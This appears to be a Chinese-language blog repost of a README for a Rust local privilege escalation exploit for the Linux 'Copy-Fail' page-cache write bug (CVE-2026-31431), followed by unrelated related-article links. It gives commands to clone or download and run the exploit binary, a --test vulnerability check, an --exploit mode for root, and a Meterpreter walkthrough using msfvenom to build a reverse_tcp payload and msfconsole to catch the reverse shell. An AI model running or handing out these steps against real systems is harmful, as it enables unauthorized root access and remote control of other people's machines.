CVE-2026-31431 - Linux Copy-Fail 漏洞利用 (Rust版本)和检测方案

CVE-2026-31431 - Linux Copy-Fail 漏洞利用 (Rust)

针对 CVE-2026-31431 (Copy-Fail) 漏洞的本地提权 (LPE) 漏洞利用的 Rust 实现。

它允许执行自定义的 shellcode(例如 Meterpreter)。

简介

Xint 披露了 CVE-2026-31431,这是一个任意页缓存写入(arbitrary page cache write)漏洞,它通过将 AF_ALGsplice() 链式结合,实现了一个 4 字节的写入原语(write primitive)。

来源:Copy Fail: 732 Bytes to Root on Every Major Linux Distribution

免责声明

本项目的开发是出于我个人研究网络安全的兴趣。然而,它有可能会被滥用于恶意目的。

不要将此工具用于任何非法活动。

作者对滥用本软件所造成的任何后果概不负责。

致谢

注意:原始项目使用了经过压缩/编码的 shellcode(例如 /bin/sh)。在此实现中,我将其替换为了原始的(未压缩的) /bin/bash shellcode,使其更容易进行自定义,或直接替换为用户提供的 payload。

如何编译

克隆该项目,然后执行 build.sh

Bash

复制代码
git clone git@github.com:iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail
cd ./CVE-2026-31431-Linux-Copy-Fail
chmod +x ./build.sh
./build.sh

用法

下载并解压 release 压缩包:

Bash

复制代码
wget https://github.com/iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail/releases/latest/download/CVE-2026-31431-Linux-Fail.gz
tar -xzf CVE-2026-31431-Linux-Fail.gz
chmod +x CVE-2026-31431-Linux-Copy-Fail_x64
chmod +x CVE-2026-31431-Linux-Copy-Fail_x86

二进制文件提供以下选项:

Bash

复制代码
./CVE-2026-31431-Linux-Copy-Fail --test
./CVE-2026-31431-Linux-Copy-Fail --exploit
./CVE-2026-31431-Linux-Copy-Fail --bin shellcode.bin

演示

测试漏洞

在存在漏洞的机器上执行:

Bash

复制代码
./CVE-2026-31431-Linux-Copy-Fail --test

出现 ! VULNERABLE! 说明目标机器存在该漏洞,(用此命令可以检测出目标机器是否存在漏洞)

漏洞利用

Bash

复制代码
./CVE-2026-31431-Linux-Copy-Fail --exploit

Meterpreter

使用以下命令(需将 PrependSetUid 设置为 True)来生成 Meterpreter payload:

Bash

复制代码
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.x lport=4444 -f elf prependsetuid=true > payload.bin

在攻击机(Kali Linux)上执行:

Bash

复制代码
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.x
set lport 4444
run

在存在漏洞的机器上执行:

复制代码
./CVE-2026-31431-Linux-Copy-Fail --bin payload.bin

致谢https://github.com/iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail/提供的方案

受影响的版本

相关推荐
志栋智能几秒前
运维超自动化中的配置管理实践
运维·网络·数据库·自动化
一条泥憨鱼5 分钟前
【从0开始学习计算机网络】| TIME_WAIT 为什么是 2MSL,CLOSE_WAIT / TIME_WAIT 堆积怎么排查
服务器·开发语言·网络·计算机网络·网络安全
sibylyue10 分钟前
【云原生系列3】Docker Compose单机多容器编排工具
运维·docker·容器
dingdingfish17 分钟前
TLPI 第36章 读书笔记:Process Resource
linux·resource·getrusage·tlpi·setrlimit·getrlimit
阿钱真强道17 分钟前
04 嵌入式操作系统 | 常用命令Ⅱ:用户权限、进程与网络
linux·ubuntu·进程管理·用户权限·网络排查
阿钱真强道30 分钟前
03 嵌入式操作系统 | 常用命令Ⅰ:文件、查找与压缩
linux·ubuntu·文件管理·命令行·压缩解压
2601_9622184740 分钟前
万象生鲜系统订单全生命周期追踪实现生鲜企业订单业务数字化可视
大数据·运维·微服务·云原生·架构
fengyehongWorld1 小时前
Linux 配置Syncthing的中继服务器
linux·运维·服务器
深念Y1 小时前
黑苹果P400-卡顿排查与优化记录
linux·macos·ios·pve·黑苹果·英伟达·n卡
云运维笔记1 小时前
华为VRP系统全解析:网络设备的智能核心
服务器·网络·华为